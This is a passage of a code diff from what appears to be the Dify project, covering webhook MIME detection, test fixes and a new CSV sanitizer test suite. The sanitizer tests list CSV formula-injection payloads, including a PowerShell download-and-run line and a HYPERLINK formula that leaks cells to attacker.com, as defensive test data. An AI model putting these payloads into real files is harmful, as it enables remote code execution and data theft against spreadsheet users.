 logger = logging.getLogger(__name__)
 
 
@@ -317,7 +322,8 @@ class WebhookService:
         try:
             file_content = request.get_data()
             if file_content:
-                file_obj = cls._create_file_from_binary(file_content, "application/octet-stream", webhook_trigger)
+                mimetype = cls._detect_binary_mimetype(file_content)
+                file_obj = cls._create_file_from_binary(file_content, mimetype, webhook_trigger)
                 return {"raw": file_obj.to_dict()}, {}
             else:
                 return {"raw": None}, {}
@@ -341,6 +347,18 @@ class WebhookService:
             body = {"raw": ""}
         return body, {}
 
+    @staticmethod
+    def _detect_binary_mimetype(file_content: bytes) -> str:
+        """Guess MIME type for binary payloads using python-magic when available."""
+        if magic is not None:
+            try:
+                detected = magic.from_buffer(file_content[:1024], mime=True)
+                if detected:
+                    return detected
+            except Exception:
+                logger.debug("python-magic detection failed for octet-stream payload")
+        return "application/octet-stream"
+
     @classmethod
     def _process_file_uploads(
         cls, files: Mapping[str, FileStorage], webhook_trigger: WorkflowWebhookTrigger
diff --git a/api/services/variable_truncator.py b/api/services/variable_truncator.py
index 6eb8d0031d..0f969207cf 100644
--- a/api/services/variable_truncator.py
+++ b/api/services/variable_truncator.py
@@ -410,9 +410,12 @@ class VariableTruncator(BaseTruncator):
     @overload
     def _truncate_json_primitives(self, val: None, target_size: int) -> _PartResult[None]: ...
 
+    @overload
+    def _truncate_json_primitives(self, val: File, target_size: int) -> _PartResult[File]: ...
+
     def _truncate_json_primitives(
         self,
-        val: UpdatedVariable | str | list[object] | dict[str, object] | bool | int | float | None,
+        val: UpdatedVariable | File | str | list[object] | dict[str, object] | bool | int | float | None,
         target_size: int,
     ) -> _PartResult[Any]:
         """Truncate a value within an object to fit within budget."""
@@ -425,6 +428,9 @@ class VariableTruncator(BaseTruncator):
             return self._truncate_array(val, target_size)
         elif isinstance(val, dict):
             return self._truncate_object(val, target_size)
+        elif isinstance(val, File):
+            # File objects should not be truncated, return as-is
+            return _PartResult(val, self.calculate_json_size(val), False)
         elif val is None or isinstance(val, (bool, int, float)):
             return _PartResult(val, self.calculate_json_size(val), False)
         else:
diff --git a/api/tests/test_containers_integration_tests/libs/broadcast_channel/redis/test_sharded_channel.py b/api/tests/test_containers_integration_tests/libs/broadcast_channel/redis/test_sharded_channel.py
index af60adf1fb..d612e70910 100644
--- a/api/tests/test_containers_integration_tests/libs/broadcast_channel/redis/test_sharded_channel.py
+++ b/api/tests/test_containers_integration_tests/libs/broadcast_channel/redis/test_sharded_channel.py
@@ -113,16 +113,31 @@ class TestShardedRedisBroadcastChannelIntegration:
         topic = broadcast_channel.topic(topic_name)
         producer = topic.as_producer()
         subscriptions = [topic.subscribe() for _ in range(subscriber_count)]
+        ready_events = [threading.Event() for _ in range(subscriber_count)]
 
         def producer_thread():
-            time.sleep(0.2)  # Allow all subscribers to connect
+            deadline = time.time() + 5.0
+            for ev in ready_events:
+                remaining = deadline - time.time()
+                if remaining <= 0:
+                    break
+                if not ev.wait(timeout=max(0.0, remaining)):
+                    pytest.fail("subscriber did not become ready before publish deadline")
             producer.publish(message)
             time.sleep(0.2)
             for sub in subscriptions:
                 sub.close()
 
-        def consumer_thread(subscription: Subscription) -> list[bytes]:
+        def consumer_thread(subscription: Subscription, ready_event: threading.Event) -> list[bytes]:
             received_msgs = []
+            # Prime subscription so the underlying Pub/Sub listener thread starts before publishing
+            try:
+                _ = subscription.receive(0.01)
+            except SubscriptionClosedError:
+                return received_msgs
+            finally:
+                ready_event.set()
+
             while True:
                 try:
                     msg = subscription.receive(0.1)
@@ -137,7 +152,10 @@ class TestShardedRedisBroadcastChannelIntegration:
 
         with ThreadPoolExecutor(max_workers=subscriber_count + 1) as executor:
             producer_future = executor.submit(producer_thread)
-            consumer_futures = [executor.submit(consumer_thread, subscription) for subscription in subscriptions]
+            consumer_futures = [
+                executor.submit(consumer_thread, subscription, ready_events[idx])
+                for idx, subscription in enumerate(subscriptions)
+            ]
 
             producer_future.result(timeout=10.0)
             msgs_by_consumers = []
diff --git a/api/tests/test_containers_integration_tests/services/test_webhook_service.py b/api/tests/test_containers_integration_tests/services/test_webhook_service.py
index 8328db950c..e3431fd382 100644
--- a/api/tests/test_containers_integration_tests/services/test_webhook_service.py
+++ b/api/tests/test_containers_integration_tests/services/test_webhook_service.py
@@ -233,7 +233,7 @@ class TestWebhookService:
             "/webhook",
             method="POST",
             headers={"Content-Type": "multipart/form-data"},
-            data={"message": "test", "upload": file_storage},
+            data={"message": "test", "file": file_storage},
         ):
             webhook_trigger = MagicMock()
             webhook_trigger.tenant_id = "test_tenant"
@@ -242,7 +242,7 @@ class TestWebhookService:
 
             assert webhook_data["method"] == "POST"
             assert webhook_data["body"]["message"] == "test"
-            assert "upload" in webhook_data["files"]
+            assert "file" in webhook_data["files"]
 
             # Verify file processing was called
             mock_external_dependencies["tool_file_manager"].assert_called_once()
@@ -414,7 +414,7 @@ class TestWebhookService:
                 "data": {
                     "method": "post",
                     "content_type": "multipart/form-data",
-                    "body": [{"name": "upload", "type": "file", "required": True}],
+                    "body": [{"name": "file", "type": "file", "required": True}],
                 }
             }
 
diff --git a/api/tests/unit_tests/controllers/console/app/test_annotation_security.py b/api/tests/unit_tests/controllers/console/app/test_annotation_security.py
index 36da3c264e..06a7b98baf 100644
--- a/api/tests/unit_tests/controllers/console/app/test_annotation_security.py
+++ b/api/tests/unit_tests/controllers/console/app/test_annotation_security.py
@@ -9,6 +9,7 @@ import io
 from unittest.mock import MagicMock, patch
 
 import pytest
+from pandas.errors import ParserError
 from werkzeug.datastructures import FileStorage
 
 from configs import dify_config
@@ -250,20 +251,22 @@ class TestAnnotationImportServiceValidation:
         """Test that invalid CSV format is handled gracefully."""
         from services.annotation_service import AppAnnotationService
 
-        # Create invalid CSV content
+        # Any content is fine once we force ParserError
         csv_content = 'invalid,csv,format\nwith,unbalanced,quotes,and"stuff'
-
         file = FileStorage(stream=io.BytesIO(csv_content.encode()), filename="test.csv", content_type="text/csv")
 
         mock_db_session.query.return_value.where.return_value.first.return_value = mock_app
 
-        with patch("services.annotation_service.current_account_with_tenant") as mock_auth:
+        with (
+            patch("services.annotation_service.current_account_with_tenant") as mock_auth,
+            patch("services.annotation_service.pd.read_csv", side_effect=ParserError("malformed CSV")),
+        ):
             mock_auth.return_value = (MagicMock(id="user_id"), "tenant_id")
 
             result = AppAnnotationService.batch_import_app_annotations("app_id", file)
 
-            # Should return error message
             assert "error_msg" in result
+            assert "malformed" in result["error_msg"].lower()
 
     def test_valid_import_succeeds(self, mock_app, mock_db_session):
         """Test that valid import request succeeds."""
diff --git a/api/tests/unit_tests/controllers/console/auth/test_authentication_security.py b/api/tests/unit_tests/controllers/console/auth/test_authentication_security.py
index b6697ac5d4..eb21920117 100644
--- a/api/tests/unit_tests/controllers/console/auth/test_authentication_security.py
+++ b/api/tests/unit_tests/controllers/console/auth/test_authentication_security.py
@@ -1,5 +1,6 @@
 """Test authentication security to prevent user enumeration."""
 
+import base64
 from unittest.mock import MagicMock, patch
 
 import pytest
@@ -11,6 +12,11 @@ from controllers.console.auth.error import AuthenticationFailedError
 from controllers.console.auth.login import LoginApi
 
 
+def encode_password(password: str) -> str:
+    """Helper to encode password as Base64 for testing."""
+    return base64.b64encode(password.encode("utf-8")).decode()
+
+
 class TestAuthenticationSecurity:
     """Test authentication endpoints for security against user enumeration."""
 
@@ -42,7 +48,9 @@ class TestAuthenticationSecurity:
 
         # Act
         with self.app.test_request_context(
-            "/login", method="POST", json={"email": "nonexistent@example.com", "password": "WrongPass123!"}
+            "/login",
+            method="POST",
+            json={"email": "nonexistent@example.com", "password": encode_password("WrongPass123!")},
         ):
             login_api = LoginApi()
 
@@ -72,7 +80,9 @@ class TestAuthenticationSecurity:
 
         # Act
         with self.app.test_request_context(
-            "/login", method="POST", json={"email": "existing@example.com", "password": "WrongPass123!"}
+            "/login",
+            method="POST",
+            json={"email": "existing@example.com", "password": encode_password("WrongPass123!")},
         ):
             login_api = LoginApi()
 
@@ -104,7 +114,9 @@ class TestAuthenticationSecurity:
 
         # Act
         with self.app.test_request_context(
-            "/login", method="POST", json={"email": "nonexistent@example.com", "password": "WrongPass123!"}
+            "/login",
+            method="POST",
+            json={"email": "nonexistent@example.com", "password": encode_password("WrongPass123!")},
         ):
             login_api = LoginApi()
 
diff --git a/api/tests/unit_tests/controllers/console/auth/test_email_verification.py b/api/tests/unit_tests/controllers/console/auth/test_email_verification.py
index a44f518171..9929a71120 100644
--- a/api/tests/unit_tests/controllers/console/auth/test_email_verification.py
+++ b/api/tests/unit_tests/controllers/console/auth/test_email_verification.py
@@ -8,6 +8,7 @@ This module tests the email code login mechanism including:
 - Workspace creation for new users
 """
 
+import base64
 from unittest.mock import MagicMock, patch
 
 import pytest
@@ -25,6 +26,11 @@ from controllers.console.error import (
 from services.errors.account import AccountRegisterError
 
 
+def encode_code(code: str) -> str:
+    """Helper to encode verification code as Base64 for testing."""
+    return base64.b64encode(code.encode("utf-8")).decode()
+
+
 class TestEmailCodeLoginSendEmailApi:
     """Test cases for sending email verification codes."""
 
@@ -290,7 +296,7 @@ class TestEmailCodeLoginApi:
         with app.test_request_context(
             "/email-code-login/validity",
             method="POST",
-            json={"email": "test@example.com", "code": "123456", "token": "valid_token"},
+            json={"email": "test@example.com", "code": encode_code("123456"), "token": "valid_token"},
         ):
             api = EmailCodeLoginApi()
             response = api.post()
@@ -339,7 +345,12 @@ class TestEmailCodeLoginApi:
         with app.test_request_context(
             "/email-code-login/validity",
             method="POST",
-            json={"email": "newuser@example.com", "code": "123456", "token": "valid_token", "language": "en-US"},
+            json={
+                "email": "newuser@example.com",
+                "code": encode_code("123456"),
+                "token": "valid_token",
+                "language": "en-US",
+            },
         ):
             api = EmailCodeLoginApi()
             response = api.post()
@@ -365,7 +376,7 @@ class TestEmailCodeLoginApi:
         with app.test_request_context(
             "/email-code-login/validity",
             method="POST",
-            json={"email": "test@example.com", "code": "123456", "token": "invalid_token"},
+            json={"email": "test@example.com", "code": encode_code("123456"), "token": "invalid_token"},
         ):
             api = EmailCodeLoginApi()
             with pytest.raises(InvalidTokenError):
@@ -388,7 +399,7 @@ class TestEmailCodeLoginApi:
         with app.test_request_context(
             "/email-code-login/validity",
             method="POST",
-            json={"email": "different@example.com", "code": "123456", "token": "token"},
+            json={"email": "different@example.com", "code": encode_code("123456"), "token": "token"},
         ):
             api = EmailCodeLoginApi()
             with pytest.raises(InvalidEmailError):
@@ -411,7 +422,7 @@ class TestEmailCodeLoginApi:
         with app.test_request_context(
             "/email-code-login/validity",
             method="POST",
-            json={"email": "test@example.com", "code": "wrong_code", "token": "token"},
+            json={"email": "test@example.com", "code": encode_code("wrong_code"), "token": "token"},
         ):
             api = EmailCodeLoginApi()
             with pytest.raises(EmailCodeError):
@@ -497,7 +508,7 @@ class TestEmailCodeLoginApi:
         with app.test_request_context(
             "/email-code-login/validity",
             method="POST",
-            json={"email": "test@example.com", "code": "123456", "token": "token"},
+            json={"email": "test@example.com", "code": encode_code("123456"), "token": "token"},
         ):
             api = EmailCodeLoginApi()
             with pytest.raises(WorkspacesLimitExceeded):
@@ -539,7 +550,7 @@ class TestEmailCodeLoginApi:
         with app.test_request_context(
             "/email-code-login/validity",
             method="POST",
-            json={"email": "test@example.com", "code": "123456", "token": "token"},
+            json={"email": "test@example.com", "code": encode_code("123456"), "token": "token"},
         ):
             api = EmailCodeLoginApi()
             with pytest.raises(NotAllowedCreateWorkspace):
diff --git a/api/tests/unit_tests/controllers/console/auth/test_login_logout.py b/api/tests/unit_tests/controllers/console/auth/test_login_logout.py
index 8799d6484d..3a2cf7bad7 100644
--- a/api/tests/unit_tests/controllers/console/auth/test_login_logout.py
+++ b/api/tests/unit_tests/controllers/console/auth/test_login_logout.py
@@ -8,6 +8,7 @@ This module tests the core authentication endpoints including:
 - Account status validation
 """
 
+import base64
 from unittest.mock import MagicMock, patch
 
 import pytest
@@ -28,6 +29,11 @@ from controllers.console.error import (
 from services.errors.account import AccountLoginError, AccountPasswordError
 
 
+def encode_password(password: str) -> str:
+    """Helper to encode password as Base64 for testing."""
+    return base64.b64encode(password.encode("utf-8")).decode()
+
+
 class TestLoginApi:
     """Test cases for the LoginApi endpoint."""
 
@@ -106,7 +112,9 @@ class TestLoginApi:
 
         # Act
         with app.test_request_context(
-            "/login", method="POST", json={"email": "test@example.com", "password": "ValidPass123!"}
+            "/login",
+            method="POST",
+            json={"email": "test@example.com", "password": encode_password("ValidPass123!")},
         ):
             login_api = LoginApi()
             response = login_api.post()
@@ -158,7 +166,11 @@ class TestLoginApi:
         with app.test_request_context(
             "/login",
             method="POST",
-            json={"email": "test@example.com", "password": "ValidPass123!", "invite_token": "valid_token"},
+            json={
+                "email": "test@example.com",
+                "password": encode_password("ValidPass123!"),
+                "invite_token": "valid_token",
+            },
         ):
             login_api = LoginApi()
             response = login_api.post()
@@ -186,7 +198,7 @@ class TestLoginApi:
 
         # Act & Assert
         with app.test_request_context(
-            "/login", method="POST", json={"email": "test@example.com", "password": "password"}
+            "/login", method="POST", json={"email": "test@example.com", "password": encode_password("password")}
         ):
             login_api = LoginApi()
             with pytest.raises(EmailPasswordLoginLimitError):
@@ -209,7 +221,7 @@ class TestLoginApi:
 
         # Act & Assert
         with app.test_request_context(
-            "/login", method="POST", json={"email": "frozen@example.com", "password": "password"}
+            "/login", method="POST", json={"email": "frozen@example.com", "password": encode_password("password")}
         ):
             login_api = LoginApi()
             with pytest.raises(AccountInFreezeError):
@@ -246,7 +258,7 @@ class TestLoginApi:
 
         # Act & Assert
         with app.test_request_context(
-            "/login", method="POST", json={"email": "test@example.com", "password": "WrongPass123!"}
+            "/login", method="POST", json={"email": "test@example.com", "password": encode_password("WrongPass123!")}
         ):
             login_api = LoginApi()
             with pytest.raises(AuthenticationFailedError):
@@ -277,7 +289,7 @@ class TestLoginApi:
 
         # Act & Assert
         with app.test_request_context(
-            "/login", method="POST", json={"email": "banned@example.com", "password": "ValidPass123!"}
+            "/login", method="POST", json={"email": "banned@example.com", "password": encode_password("ValidPass123!")}
         ):
             login_api = LoginApi()
             with pytest.raises(AccountBannedError):
@@ -322,7 +334,7 @@ class TestLoginApi:
 
         # Act & Assert
         with app.test_request_context(
-            "/login", method="POST", json={"email": "test@example.com", "password": "ValidPass123!"}
+            "/login", method="POST", json={"email": "test@example.com", "password": encode_password("ValidPass123!")}
         ):
             login_api = LoginApi()
             with pytest.raises(WorkspacesLimitExceeded):
@@ -349,7 +361,11 @@ class TestLoginApi:
         with app.test_request_context(
             "/login",
             method="POST",
-            json={"email": "different@example.com", "password": "ValidPass123!", "invite_token": "token"},
+            json={
+                "email": "different@example.com",
+                "password": encode_password("ValidPass123!"),
+                "invite_token": "token",
+            },
         ):
             login_api = LoginApi()
             with pytest.raises(InvalidEmailError):
diff --git a/api/tests/unit_tests/core/helper/test_csv_sanitizer.py b/api/tests/unit_tests/core/helper/test_csv_sanitizer.py
new file mode 100644
index 0000000000..443c2824d5
--- /dev/null
+++ b/api/tests/unit_tests/core/helper/test_csv_sanitizer.py
@@ -0,0 +1,151 @@
+"""Unit tests for CSV sanitizer."""
+
+from core.helper.csv_sanitizer import CSVSanitizer
+
+
+class TestCSVSanitizer:
+    """Test cases for CSV sanitization to prevent formula injection attacks."""
+
+    def test_sanitize_formula_equals(self):
+        """Test sanitizing values starting with = (most common formula injection)."""
+        assert CSVSanitizer.sanitize_value("=cmd|'/c calc'!A0") == "'=cmd|'/c calc'!A0"
+        assert CSVSanitizer.sanitize_value("=SUM(A1:A10)") == "'=SUM(A1:A10)"
+        assert CSVSanitizer.sanitize_value("=1+1") == "'=1+1"
+        assert CSVSanitizer.sanitize_value("=@SUM(1+1)") == "'=@SUM(1+1)"
+
+    def test_sanitize_formula_plus(self):
+        """Test sanitizing values starting with + (plus formula injection)."""
+        assert CSVSanitizer.sanitize_value("+1+1+cmd|'/c calc") == "'+1+1+cmd|'/c calc"
+        assert CSVSanitizer.sanitize_value("+123") == "'+123"
+        assert CSVSanitizer.sanitize_value("+cmd|'/c calc'!A0") == "'+cmd|'/c calc'!A0"
+
+    def test_sanitize_formula_minus(self):
+        """Test sanitizing values starting with - (minus formula injection)."""
+        assert CSVSanitizer.sanitize_value("-2+3+cmd|'/c calc") == "'-2+3+cmd|'/c calc"
+        assert CSVSanitizer.sanitize_value("-456") == "'-456"
+        assert CSVSanitizer.sanitize_value("-cmd|'/c notepad") == "'-cmd|'/c notepad"
+
+    def test_sanitize_formula_at(self):
+        """Test sanitizing values starting with @ (at-sign formula injection)."""
+        assert CSVSanitizer.sanitize_value("@SUM(1+1)*cmd|'/c calc") == "'@SUM(1+1)*cmd|'/c calc"
+        assert CSVSanitizer.sanitize_value("@AVERAGE(1,2,3)") == "'@AVERAGE(1,2,3)"
+
+    def test_sanitize_formula_tab(self):
+        """Test sanitizing values starting with tab character."""
+        assert CSVSanitizer.sanitize_value("\t=1+1") == "'\t=1+1"
+        assert CSVSanitizer.sanitize_value("\tcalc") == "'\tcalc"
+
+    def test_sanitize_formula_carriage_return(self):
+        """Test sanitizing values starting with carriage return."""
+        assert CSVSanitizer.sanitize_value("\r=1+1") == "'\r=1+1"
+        assert CSVSanitizer.sanitize_value("\rcmd") == "'\rcmd"
+
+    def test_sanitize_safe_values(self):
+        """Test that safe values are not modified."""
+        assert CSVSanitizer.sanitize_value("Hello World") == "Hello World"
+        assert CSVSanitizer.sanitize_value("123") == "123"
+        assert CSVSanitizer.sanitize_value("test@example.com") == "test@example.com"
+        assert CSVSanitizer.sanitize_value("Normal text") == "Normal text"
+        assert CSVSanitizer.sanitize_value("Question: How are you?") == "Question: How are you?"
+
+    def test_sanitize_safe_values_with_special_chars_in_middle(self):
+        """Test that special characters in the middle are not escaped."""
+        assert CSVSanitizer.sanitize_value("A = B + C") == "A = B + C"
+        assert CSVSanitizer.sanitize_value("Price: $10 + $20") == "Price: $10 + $20"
+        assert CSVSanitizer.sanitize_value("Email: user@domain.com") == "Email: user@domain.com"
+
+    def test_sanitize_empty_values(self):
+        """Test handling of empty values."""
+        assert CSVSanitizer.sanitize_value("") == ""
+        assert CSVSanitizer.sanitize_value(None) == ""
+
+    def test_sanitize_numeric_types(self):
+        """Test handling of numeric types."""
+        assert CSVSanitizer.sanitize_value(123) == "123"
+        assert CSVSanitizer.sanitize_value(456.789) == "456.789"
+        assert CSVSanitizer.sanitize_value(0) == "0"
+        # Negative numbers should be escaped (start with -)
+        assert CSVSanitizer.sanitize_value(-123) == "'-123"
+
+    def test_sanitize_boolean_types(self):
+        """Test handling of boolean types."""
+        assert CSVSanitizer.sanitize_value(True) == "True"
+        assert CSVSanitizer.sanitize_value(False) == "False"
+
+    def test_sanitize_dict_with_specific_fields(self):
+        """Test sanitizing specific fields in a dictionary."""
+        data = {
+            "question": "=1+1",
+            "answer": "+cmd|'/c calc",
+            "safe_field": "Normal text",
+            "id": "12345",
+        }
+        sanitized = CSVSanitizer.sanitize_dict(data, ["question", "answer"])
+
+        assert sanitized["question"] == "'=1+1"
+        assert sanitized["answer"] == "'+cmd|'/c calc"
+        assert sanitized["safe_field"] == "Normal text"
+        assert sanitized["id"] == "12345"
+
+    def test_sanitize_dict_all_string_fields(self):
+        """Test sanitizing all string fields when no field list provided."""
+        data = {
+            "question": "=1+1",
+            "answer": "+calc",
+            "id": 123,  # Not a string, should be ignored
+        }
+        sanitized = CSVSanitizer.sanitize_dict(data, None)
+
+        assert sanitized["question"] == "'=1+1"
+        assert sanitized["answer"] == "'+calc"
+        assert sanitized["id"] == 123  # Unchanged
+
+    def test_sanitize_dict_with_missing_fields(self):
+        """Test that missing fields in dict don't cause errors."""
+        data = {"question": "=1+1"}
+        sanitized = CSVSanitizer.sanitize_dict(data, ["question", "nonexistent_field"])
+
+        assert sanitized["question"] == "'=1+1"
+        assert "nonexistent_field" not in sanitized
+
+    def test_sanitize_dict_creates_copy(self):
+        """Test that sanitize_dict creates a copy and doesn't modify original."""
+        original = {"question": "=1+1", "answer": "Normal"}
+        sanitized = CSVSanitizer.sanitize_dict(original, ["question"])
+
+        assert original["question"] == "=1+1"  # Original unchanged
+        assert sanitized["question"] == "'=1+1"  # Copy sanitized
+
+    def test_real_world_csv_injection_payloads(self):
+        """Test against real-world CSV injection attack payloads."""
+        # Common DDE (Dynamic Data Exchange) attack payloads
+        payloads = [
+            "=cmd|'/c calc'!A0",
+            "=cmd|'/c notepad'!A0",
+            "+cmd|'/c powershell IEX(wget attacker.com/malware.ps1)'",
+            "-2+3+cmd|'/c calc'",
+            "@SUM(1+1)*cmd|'/c calc'",
+            "=1+1+cmd|'/c calc'",
+            '=HYPERLINK("http://attacker.com?leak="&A1&A2,"Click here")',
+        ]
+
+        for payload in payloads:
+            result = CSVSanitizer.sanitize_value(payload)
+            # All should be prefixed with single quote
+            assert result.startswith("'"), f"Payload not sanitized: {payload}"
+            assert result == f"'{payload}", f"Unexpected sanitization for: {payload}"
+
+    def test_multiline_strings(self):
+        """Test handling of multiline strings."""
+        multiline = "Line 1\nLine 2\nLine 3"
+        assert CSVSanitizer.sanitize_value(multiline) == multiline
+
+        multiline_with_formula = "=SUM(A1)\nLine 2"
+        assert CSVSanitizer.sanitize_value(multiline_with_formula) == f"'{multiline_with_formula}"
+
+    def test_whitespace_only_strings(self):
+        """Test handling of whitespace-only strings."""
+        assert CSVSanitizer.sanitize_value("   ") == "   "
+        assert CSVSanitizer.sanitize_value("\n\n") == "\n\n"
+        # Tab at start should be escaped
+        assert CSVSanitizer.sanitize_value("\t  ") == "'\t  "
diff --git a/api/tests/unit_tests/core/workflow/graph_engine/layers/__init__.py b/api/tests/unit_tests/core/workflow/graph_engine/layers/__init__.py
new file mode 100644
index 0000000000..e69de29bb2
diff --git a/api/tests/unit_tests/core/workflow/graph_engine/layers/conftest.py b/api/tests/unit_tests/core/workflow/graph_engine/layers/conftest.py
new file mode 100644
index 0000000000..b18a3369e9
--- /dev/null
+++ b/api/tests/unit_tests/core/workflow/graph_engine/layers/conftest.py
@@ -0,0 +1,101 @@
+"""
+Shared fixtures for ObservabilityLayer tests.
+"""
+
+from unittest.mock import MagicMock, patch
+
+import pytest
+from opentelemetry.sdk.trace import TracerProvider
+from opentelemetry.sdk.trace.export import SimpleSpanProcessor
+from opentelemetry.sdk.trace.export.in_memory_span_exporter import InMemorySpanExporter
+from opentelemetry.trace import set_tracer_provider
+
+from core.workflow.enums import NodeType
+
+
+@pytest.fixture
+def memory_span_exporter():
+    """Provide an in-memory span exporter for testing."""
+    return InMemorySpanExporter()
+
+
+@pytest.fixture
+def tracer_provider_with_memory_exporter(memory_span_exporter):
+    """Provide a TracerProvider configured with memory exporter."""
+    import opentelemetry.trace as trace_api
+
+    trace_api._TRACER_PROVIDER = None
+    trace_api._TRACER_PROVIDER_SET_ONCE._done = False
+
+    provider = TracerProvider()
+    processor = SimpleSpanProcessor(memory_span_exporter)
+    provider.add_span_processor(processor)
+    set_tracer_provider(provider)
+
+    yield provider
+
+    provider.force_flush()
+
+
+@pytest.fixture
+def mock_start_node():
+    """Create a mock Start Node."""
+    node = MagicMock()
+    node.id = "test-start-node-id"
+    node.title = "Start Node"
+    node.execution_id = "test-start-execution-id"
+    node.node_type = NodeType.START
+    return node
+
+
+@pytest.fixture
+def mock_llm_node():
+    """Create a mock LLM Node."""
+    node = MagicMock()
+    node.id = "test-llm-node-id"
+    node.title = "LLM Node"
+    node.execution_id = "test-llm-execution-id"
+    node.node_type = NodeType.LLM
+    return node
+
+
+@pytest.fixture
+def mock_tool_node():
+    """Create a mock Tool Node with tool-specific attributes."""
+    from core.tools.entities.tool_entities import ToolProviderType
+    from core.workflow.nodes.tool.entities import ToolNodeData
+
+    node = MagicMock()
+    node.id = "test-tool-node-id"
+    node.title = "Test Tool Node"
+    node.execution_id = "test-tool-execution-id"
+    node.node_type = NodeType.TOOL
+
+    tool_data = ToolNodeData(
+        title="Test Tool Node",
+        desc=None,
+        provider_id="test-provider-id",
+        provider_type=ToolProviderType.BUILT_IN,
+        provider_name="test-provider",
+        tool_name="test-tool",
+        tool_label="Test Tool",
+        tool_configurations={},
+        tool_parameters={},
+    )
+    node._node_data = tool_data
+
+    return node
+
+
+@pytest.fixture
+def mock_is_instrument_flag_enabled_false():
+    """Mock is_instrument_flag_enabled to return False."""
+    with patch("core.workflow.graph_engine.layers.observability.is_instrument_flag_enabled", return_value=False):
+        yield
+
+
+@pytest.fixture
+def mock_is_instrument_flag_enabled_true():
+    """Mock is_instrument_flag_enabled to return True."""
+    with patch("core.workflow.graph_engine.layers.observability.is_instrument_flag_enabled", return_value=True):
+        yield
diff --git a/api/tests/unit_tests/core/workflow/graph_engine/layers/test_observability.py b/api/tests/unit_tests/core/workflow/graph_engine/layers/test_observability.py
new file mode 100644
index 0000000000..458cf2cc67
--- /dev/null
+++ b/api/tests/unit_tests/core/workflow/graph_engine/layers/test_observability.py
@@ -0,0 +1,219 @@
+"""
+Tests for ObservabilityLayer.
+
+Test coverage:
+- Initialization and enable/disable logic
+- Node span lifecycle (start, end, error handling)
+- Parser integration (default and tool-specific)
+- Graph lifecycle management
+- Disabled mode behavior
+"""
+
+from unittest.mock import patch
+
+import pytest
+from opentelemetry.trace import StatusCode
+
+from core.workflow.enums import NodeType
+from core.workflow.graph_engine.layers.observability import ObservabilityLayer
+
+
+class TestObservabilityLayerInitialization:
+    """Test ObservabilityLayer initialization logic."""
+
+    @patch("core.workflow.graph_engine.layers.observability.dify_config.ENABLE_OTEL", True)
+    @pytest.mark.usefixtures("mock_is_instrument_flag_enabled_false")
+    def test_initialization_when_otel_enabled(self, tracer_provider_with_memory_exporter):
+        """Test that layer initializes correctly when OTel is enabled."""
+        layer = ObservabilityLayer()
+        assert not layer._is_disabled
+        assert layer._tracer is not None
+        assert NodeType.TOOL in layer._parsers
+        assert layer._default_parser is not None
+
+    @patch("core.workflow.graph_engine.layers.observability.dify_config.ENABLE_OTEL", False)
+    @pytest.mark.usefixtures("mock_is_instrument_flag_enabled_true")
+    def test_initialization_when_instrument_flag_enabled(self, tracer_provider_with_memory_exporter):
+        """Test that layer enables when instrument flag is enabled."""
+        layer = ObservabilityLayer()
+        assert not layer._is_disabled
+        assert layer._tracer is not None
+        assert NodeType.TOOL in layer._parsers
+        assert layer._default_parser is not None
+
+
+class TestObservabilityLayerNodeSpanLifecycle:
+    """Test node span creation and lifecycle management."""
+
+    @patch("core.workflow.graph_engine.layers.observability.dify_config.ENABLE_OTEL", True)
+    @pytest.mark.usefixtures("mock_is_instrument_flag_enabled_false")
+    def test_node_span_created_and_ended(
+        self, tracer_provider_with_memory_exporter, memory_span_exporter, mock_llm_node
+    ):
+        """Test that span is created on node start and ended on node end."""
+        layer = ObservabilityLayer()
+        layer.on_graph_start()
+
+        layer.on_node_run_start(mock_llm_node)
+        layer.on_node_run_end(mock_llm_node, None)
+
+        spans = memory_span_exporter.get_finished_spans()
+        assert len(spans) == 1
+        assert spans[0].name == mock_llm_node.title
+        assert spans[0].status.status_code == StatusCode.OK
+
+    @patch("core.workflow.graph_engine.layers.observability.dify_config.ENABLE_OTEL", True)
+    @pytest.mark.usefixtures("mock_is_instrument_flag_enabled_false")
+    def test_node_error_recorded_in_span(
+        self, tracer_provider_with_memory_exporter, memory_span_exporter, mock_llm_node
+    ):
+        """Test that node execution errors are recorded in span."""
+        layer = ObservabilityLayer()
+        layer.on_graph_start()
+
+        error = ValueError("Test error")
+        layer.on_node_run_start(mock_llm_node)
+        layer.on_node_run_end(mock_llm_node, error)
+
+        spans = memory_span_exporter.get_finished_spans()
+        assert len(spans) == 1
+        assert spans[0].status.status_code == StatusCode.ERROR
+        assert len(spans[0].events) > 0
+        assert any("exception" in event.name.lower() for event in spans[0].events)
+
+    @patch("core.workflow.graph_engine.layers.observability.dify_config.ENABLE_OTEL", True)
+    @pytest.mark.usefixtures("mock_is_instrument_flag_enabled_false")
+    def test_node_end_without_start_handled_gracefully(
+        self, tracer_provider_with_memory_exporter, memory_span_exporter, mock_llm_node
+    ):
+        """Test that ending a node without start doesn't crash."""
+        layer = ObservabilityLayer()
+        layer.on_graph_start()
+
+        layer.on_node_run_end(mock_llm_node, None)
+
+        spans = memory_span_exporter.get_finished_spans()
+        assert len(spans) == 0
+
+
+class TestObservabilityLayerParserIntegration:
+    """Test parser integration for different node types."""
+
+    @patch("core.workflow.graph_engine.layers.observability.dify_config.ENABLE_OTEL", True)
+    @pytest.mark.usefixtures("mock_is_instrument_flag_enabled_false")
+    def test_default_parser_used_for_regular_node(
+        self, tracer_provider_with_memory_exporter, memory_span_exporter, mock_start_node
+    ):
+        """Test that default parser is used for non-tool nodes."""
+        layer = ObservabilityLayer()
+        layer.on_graph_start()
+
+        layer.on_node_run_start(mock_start_node)
+        layer.on_node_run_end(mock_start_node, None)
+
+        spans = memory_span_exporter.get_finished_spans()
+        assert len(spans) == 1
+        attrs = spans[0].attributes
+        assert attrs["node.id"] == mock_start_node.id
+        assert attrs["node.execution_id"] == mock_start_node.execution_id
+        assert attrs["node.type"] == mock_start_node.node_type.value
+
+    @patch("core.workflow.graph_engine.layers.observability.dify_config.ENABLE_OTEL", True)
+    @pytest.mark.usefixtures("mock_is_instrument_flag_enabled_false")
+    def test_tool_parser_used_for_tool_node(
+        self, tracer_provider_with_memory_exporter, memory_span_exporter, mock_tool_node
+    ):
+        """Test that tool parser is used for tool nodes."""
+        layer = ObservabilityLayer()
+        layer.on_graph_start()
+
+        layer.on_node_run_start(mock_tool_node)
+        layer.on_node_run_end(mock_tool_node, None)
+
+        spans = memory_span_exporter.get_finished_spans()
+        assert len(spans) == 1
+        attrs = spans[0].attributes
+        assert attrs["node.id"] == mock_tool_node.id
+        assert attrs["tool.provider.id"] == mock_tool_node._node_data.provider_id
